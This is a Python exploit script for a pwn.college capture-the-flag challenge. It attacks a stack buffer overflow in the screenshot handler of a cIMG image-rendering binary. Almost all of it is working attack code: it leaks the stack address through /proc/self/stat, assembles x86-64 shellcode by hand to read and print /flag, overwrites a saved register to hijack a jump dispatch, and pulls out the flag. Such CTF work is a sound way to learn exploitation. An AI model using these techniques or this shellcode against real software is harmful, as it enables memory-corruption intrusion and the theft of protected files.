1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187
| """ PwnCollege - CIMG Screenshots Exploit (FINAL) ============================================== Challenge: integration-cimg-screenshot-sc Vulnerability: Stack buffer overflow in handle_1337 (screenshot handler) Technique: Overwrite saved rbx → hijack notrack jmp dispatch → shellcode
Key findings: - Rotation: screenshot[N] = file[(N+253)%255] = file[N-2] for N>=2 - Saved rbx at file offset 134 (empirical, due to rotation) - Directive 7 reads *(rbx+20), so jump offset at file[18] → screenshot[20] - Shellcode at file[22] → screenshot[24], jump_target = 24 - Stack offset: buffer = startstack - 0x11d0 - MUST zero eax before mov al, N for syscalls (upper bits of rax have garbage) """ import struct, subprocess, re, os, sys
FNAME = "/tmp/exploit.cimg" SC_FILE = "/tmp/sc.bin" BIN = "/challenge/integration-cimg-screenshot-sc" STACK_OFFSET = -0x11d0
if not os.path.exists(BIN): BIN = "./integration-cimg-screenshot-sc.patched"
def hdr(n): return struct.pack("<4sHBBi", b"cIMG", 4, 255, 1, n)
def d_load(sid, path): d = struct.pack("<H", 5) + struct.pack("BBB", sid, 255, 1) return d + path.encode().ljust(255, b"\x00")
def d_render(sid): return struct.pack("<H", 4) + struct.pack( "BBBBBBBBB", sid, 0, 0, 0, 0, 0, 255, 1, 0xAA )
def d_screenshot(sid, w=144): return struct.pack("<H", 1337) + struct.pack("BBBBB", sid, 0, 0, w, 1)
def d_show(): return struct.pack("<H", 6) + b"\x00"
def make_cat_shellcode(path=b"/flag"): """open(path); read(fd, stack, 0x400); write(1, stack, n); exit(0)""" sc = b""
p = path + b"\x00" while len(p) % 8: p += b"\x00" for i in range(len(p) - 8, -8, -8): chunk = p[i:i + 8] qw = struct.unpack("<Q", chunk)[0] if qw == 0: sc += b"\x48\x31\xc0\x50" else: sc += b"\x48\xb8" + struct.pack("<Q", qw) + b"\x50"
sc += b"\x48\x89\xe7" sc += b"\x48\x31\xf6" sc += b"\x48\x31\xd2" sc += b"\x31\xc0\xb0\x02\x0f\x05"
sc += b"\x48\x89\xc7" sc += b"\x48\x81\xec\x00\x04\x00\x00" sc += b"\x48\x89\xe6" sc += b"\xba\x00\x04\x00\x00" sc += b"\x31\xc0\x0f\x05"
sc += b"\x48\x89\xc2" sc += b"\xbf\x01\x00\x00\x00" sc += b"\x48\x89\xe6" sc += b"\xb8\x01\x00\x00\x00\x0f\x05"
sc += b"\x31\xff\xb8\x3c\x00\x00\x00\x0f\x05" return sc
def leak_startstack(): """Leak startstack via /proc/self/stat (ASLR disabled by binary).""" payload = hdr(3) + d_load(0, "/proc/self/stat") + d_render(0) + d_show() with open(FNAME, "wb") as f: f.write(payload) proc = subprocess.run([BIN, FNAME], capture_output=True, timeout=15) chars = [] for m in re.finditer(rb'm(.)\x1b\[0m', proc.stdout): chars.append(m.group(1)) text = b"".join(chars).decode("latin-1") fields = text.split() if len(fields) < 28: print("[-] Failed to parse startstack") sys.exit(1) ss = int(fields[27]) print(f"[+] startstack = {hex(ss)}") return ss
def build_exploit(startstack): buf_addr = startstack + STACK_OFFSET print(f"[+] buffer = {hex(buf_addr)}")
sc = make_cat_shellcode(b"/flag") print(f"[+] shellcode = {len(sc)} bytes")
payload = bytearray(255) for i in range(255): payload[i] = 0x90
jump_off = 24 struct.pack_into("<i", payload, 18, jump_off)
sc_start = 22 if sc_start + len(sc) > 134: print(f"[-] Shellcode too long: {len(sc)} > {134 - sc_start}") sys.exit(1) payload[sc_start:sc_start + len(sc)] = sc
struct.pack_into("<Q", payload, 134, buf_addr)
with open(SC_FILE, "wb") as f: f.write(payload) print(f"[+] sc.bin = {SC_FILE} ({len(payload)} bytes)")
exp = bytearray() exp += hdr(4) exp += d_load(0, SC_FILE) exp += d_render(0) exp += d_screenshot(0, w=144) exp += struct.pack("<H", 7) + struct.pack("<i", 100) with open(FNAME, "wb") as f: f.write(exp) print(f"[+] exploit = {FNAME}")
def run(): print("[*] Running exploit...", flush=True) proc = subprocess.run([BIN, FNAME], capture_output=True, timeout=15)
flag = re.search(rb'pwn\.college\{[^}]+\}', proc.stdout) if flag: print(f"\n{'='*55}") print(f"[+] FLAG: {flag.group().decode()}") print(f"{'='*55}") return True
clean = re.sub(rb'\x1b\[[0-9;]*m', b'', proc.stdout) if clean.strip(): print(f"[*] Output: {clean[:500]}") print(f"[*] Exit: {proc.returncode}") return False
def main(): print(f"[*] Binary: {BIN}") print() ss = leak_startstack() build_exploit(ss) print() run()
if __name__ == "__main__": main()
|